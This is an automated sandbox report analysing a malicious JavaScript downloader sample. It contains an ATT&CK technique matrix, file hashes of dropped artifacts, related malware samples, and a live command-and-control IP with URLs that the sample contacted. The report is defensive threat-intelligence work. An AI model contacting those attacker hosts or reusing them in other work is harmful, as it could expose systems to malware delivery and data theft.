Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/$O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3325996689.000001D129A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2092351981.000001D1298E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2092323991.00000232B4AEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2092323991.00000232B4B03000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093524073.00000232B4AEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093524073.00000232B4B03000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093903838.00000232B4B20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2090207397.00000232B4B1E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/$O	net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587415
Start date and time:	2025-01-10 11:06:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2012713416258531948.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 52.149.20.212, 13.107.246.45, 104.126.112.182, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:07:00	API Interceptor	20x Sleep call for process: powershell.exe modified
05:07:04	API Interceptor	1x Sleep call for process: net.exe modified
05:07:04	API Interceptor	2x Sleep call for process: svchost.exe modified
05:07:17	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.143.1.205	https://mufg-contact.com/	Get hash	malicious	Unknown	Browse
	https://mufg-real.com/	Get hash	malicious	Unknown	Browse
	https://mufg-reserved.com/	Get hash	malicious	Unknown	Browse
	https://paycustomer-renew.com/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	1Ta6ojwHc6.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	Nuevo-orden.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	new.bat	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	dlr.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307144656341603
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug/:gJjJGtpTq2yv1AuNZRY3diu8iBVqF5
MD5:	7727B9FDE3ACF8C84D587A5D7E40ACFC
SHA1:	ECD47E5C4B11E43EA9250EB86FB87740480649B3
SHA-256:	5C6AA6D49841F988EF7AA9C314C50FA61C4685B672D038B3C0F5728917327649
SHA-512:	E0F085FAEC40EC39DDC0F49563ED7930FA3E97D32B1A358D389DCFC0FC353828CCF950617EF39725DF81BCBC47EB011A40A1016F880E6BF4D4764944C97ADE8F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7adfbf17, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658558337352033
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	52C7342197ECBCB6A34AC94BADF744C9
SHA1:	5A2A27270A1A9CF085A83B76723CEB3C0E57FFE1
SHA-256:	C0B640C44C7FA718B823E269B2C3C1449D5BA06993350CB5375F0AC58E8AACB3
SHA-512:	EDBD6116A8C8572FFF8FDFAFB2C016A5E1764770760D794AA5DBDFA894B02B08CFE763E0E299C50A5C8A0C9BE99DDB1B850C40A0BF171B8B4D567C4E0BDC1B01
Malicious:	false
Preview:	z..... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................12.......}..................<89.....}'..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0806580069452693
Encrypted:	false
SSDEEP:	3:P3EmXlKYeWDHtGuAJkhvekl1Fc0Uv6llrekGltll/SPj:PPXlKzCHtrxlk0UvOJe3l
MD5:	DA90AB3AE87CEE30AF27E2EC9278ED75
SHA1:	9AD36F2AC05B58A627304CB6F72518B4A8C0307C
SHA-256:	EA8E3CA3300970E6498FF02916C8F29CF924107F86BC81F1B8FD1C272D55C319
SHA-512:	88103733F86BA9AB359772689777C25027A461DE26BBB020712B7A71844F225325871A374AA2D63046A4EDC9040B17E846A9EA13FA3F0434201C4638771E6B40
Malicious:	false
Preview:	g........................................;...{.......}'......{...............{.......{...XL......{...................<89.....}'.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.119370095646631
Encrypted:	false
SSDEEP:	6:iO4oHAVq2P92nKuAl9OmbnIFUtSoZAgZmwsoawIkwO92nKuAl9OmbjLJ:7vH4v4HAahFUtRZJ/7i5LHAaSJ
MD5:	BB698F5B9D861E7CE254911FA0C0BF63
SHA1:	9816829AD7AEC1C8FF8D7C9DDD74968EF708988F
SHA-256:	302D821D5EE75AACD8DEACF3CEF77F1325EE983C188619F9ECE990D400617615
SHA-512:	A8A70FB95043482697758D4F23F9C6B6990D857708D1A55059B0ACA0FB6A1297803ACB54516819E3DFDD1B5AA53462AC67928EC27AABFFA9C17204F4E5C3FDE7
Malicious:	false
Preview:	2025/01/10-05:07:04.160 be0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-05:07:04.162 be0 Recovering log #3.2025/01/10-05:07:04.163 be0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.119370095646631
Encrypted:	false
SSDEEP:	6:iO4oHAVq2P92nKuAl9OmbnIFUtSoZAgZmwsoawIkwO92nKuAl9OmbjLJ:7vH4v4HAahFUtRZJ/7i5LHAaSJ
MD5:	BB698F5B9D861E7CE254911FA0C0BF63
SHA1:	9816829AD7AEC1C8FF8D7C9DDD74968EF708988F
SHA-256:	302D821D5EE75AACD8DEACF3CEF77F1325EE983C188619F9ECE990D400617615
SHA-512:	A8A70FB95043482697758D4F23F9C6B6990D857708D1A55059B0ACA0FB6A1297803ACB54516819E3DFDD1B5AA53462AC67928EC27AABFFA9C17204F4E5C3FDE7
Malicious:	false
Preview:	2025/01/10-05:07:04.160 be0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-05:07:04.162 be0 Recovering log #3.2025/01/10-05:07:04.163 be0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1445179263187795
Encrypted:	false
SSDEEP:	6:iO4o4bQ+q2P92nKuAl9Ombzo2jMGIFUtSo2bdWZmwso2bQVkwO92nKuAl9Ombzos:7v4bQ+v4HAa8uFUtRag/7aQV5LHAa8RJ
MD5:	FA339B51FC803EED561955CCCDAD2BD3
SHA1:	05CFE6469DD55898843F610F33884ADD9CA6072C
SHA-256:	3314B4D7111D8EA9C21B1C28B10E55F4412CCF6B3F9E5DA78C487EDA36BBD9D4
SHA-512:	DDCC0C039424959CF75B1B3FE66E60EA63B16CC480BDB59064671452E515CF7E2481887F72AD467824EB392DFB1B8B504559E58093B47DD9EE04D8681A86A7AA
Malicious:	false
Preview:	2025/01/10-05:07:04.256 190c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-05:07:04.258 190c Recovering log #3.2025/01/10-05:07:04.258 190c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1445179263187795
Encrypted:	false
SSDEEP:	6:iO4o4bQ+q2P92nKuAl9Ombzo2jMGIFUtSo2bdWZmwso2bQVkwO92nKuAl9Ombzos:7v4bQ+v4HAa8uFUtRag/7aQV5LHAa8RJ
MD5:	FA339B51FC803EED561955CCCDAD2BD3
SHA1:	05CFE6469DD55898843F610F33884ADD9CA6072C
SHA-256:	3314B4D7111D8EA9C21B1C28B10E55F4412CCF6B3F9E5DA78C487EDA36BBD9D4
SHA-512:	DDCC0C039424959CF75B1B3FE66E60EA63B16CC480BDB59064671452E515CF7E2481887F72AD467824EB392DFB1B8B504559E58093B47DD9EE04D8681A86A7AA
Malicious:	false
Preview:	2025/01/10-05:07:04.256 190c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-05:07:04.258 190c Recovering log #3.2025/01/10-05:07:04.258 190c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1ff29096-6549-4e5f-8f6d-4337b7258629.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.052128629016597
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzhXhsBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRdsqydMHp3QYhbxP7nbI+
MD5:	2F1C699C6E63D5871156D09F2829B388
SHA1:	D195EBFFF61742B9CB4C7970F5EA4F78C91C1FD8
SHA-256:	35A7C3A025301CCEC8D8B60B3C4386077490769BFBC0652EE28A0E5D32E23C4D
SHA-512:	27C4103BBAC5665B3B56D9DA772B2CBD75DCE8D526900192032D021B8589FAF470BBD6522655BCF62373D13A82352F14E13CB784A16C25123F0DED611F60A07F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381063636973916","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132822},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.052128629016597
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzhXhsBdOg2HWcaq3QYiubxnP7E4T3OF+:Y2sRdsqydMHp3QYhbxP7nbI+
MD5:	2F1C699C6E63D5871156D09F2829B388
SHA1:	D195EBFFF61742B9CB4C7970F5EA4F78C91C1FD8
SHA-256:	35A7C3A025301CCEC8D8B60B3C4386077490769BFBC0652EE28A0E5D32E23C4D
SHA-512:	27C4103BBAC5665B3B56D9DA772B2CBD75DCE8D526900192032D021B8589FAF470BBD6522655BCF62373D13A82352F14E13CB784A16C25123F0DED611F60A07F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381063636973916","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132822},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.241402035720429
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUrhzg238:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLF
MD5:	1955E47D4F7B11E120F5844051A699D1
SHA1:	BAFE91A9C64F93737980D39A9615F8D5AB66C472
SHA-256:	EC8E68CEED29497F852819C13775FA31F998535645DD27B0616842BE17096C18
SHA-512:	89098624979B15BE459637380C6BB4FF0DBE53F730E46B63C6FBE4B7B0B26B27807AC13E824562C9C39FB54BF365FBFF90D8DD6B3F79B8D3EED2A968804D15D0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.143388301486453
Encrypted:	false
SSDEEP:	6:iO4ovQ+q2P92nKuAl9OmbzNMxIFUtSoadWZmwsoDsSQVkwO92nKuAl9OmbzNMFLJ:7vvQ+v4HAa8jFUtRag/7DsSQV5LHAa8E
MD5:	2ABC75319FFD73A7411E6C506F44F265
SHA1:	EA56CC97418553B89ED2214C2041AC72592B5D53
SHA-256:	FBE7BCAECA4D6BB887290731CD35C952C01E95BBFF6DA817CAD75E95954B823F
SHA-512:	5CE0C0FE4F51DF160279D6B074911C24468FA074E076CF8E5525439583473B300DF1DFE88E81C9C4A7427107598943916BAAF89CB3245FB9A0AC6E4ABE1A1C76
Malicious:	false
Preview:	2025/01/10-05:07:04.651 190c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-05:07:04.654 190c Recovering log #3.2025/01/10-05:07:04.655 190c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.143388301486453
Encrypted:	false
SSDEEP:	6:iO4ovQ+q2P92nKuAl9OmbzNMxIFUtSoadWZmwsoDsSQVkwO92nKuAl9OmbzNMFLJ:7vvQ+v4HAa8jFUtRag/7DsSQV5LHAa8E
MD5:	2ABC75319FFD73A7411E6C506F44F265
SHA1:	EA56CC97418553B89ED2214C2041AC72592B5D53
SHA-256:	FBE7BCAECA4D6BB887290731CD35C952C01E95BBFF6DA817CAD75E95954B823F
SHA-512:	5CE0C0FE4F51DF160279D6B074911C24468FA074E076CF8E5525439583473B300DF1DFE88E81C9C4A7427107598943916BAAF89CB3245FB9A0AC6E4ABE1A1C76
Malicious:	false
Preview:	2025/01/10-05:07:04.651 190c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-05:07:04.654 190c Recovering log #3.2025/01/10-05:07:04.655 190c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
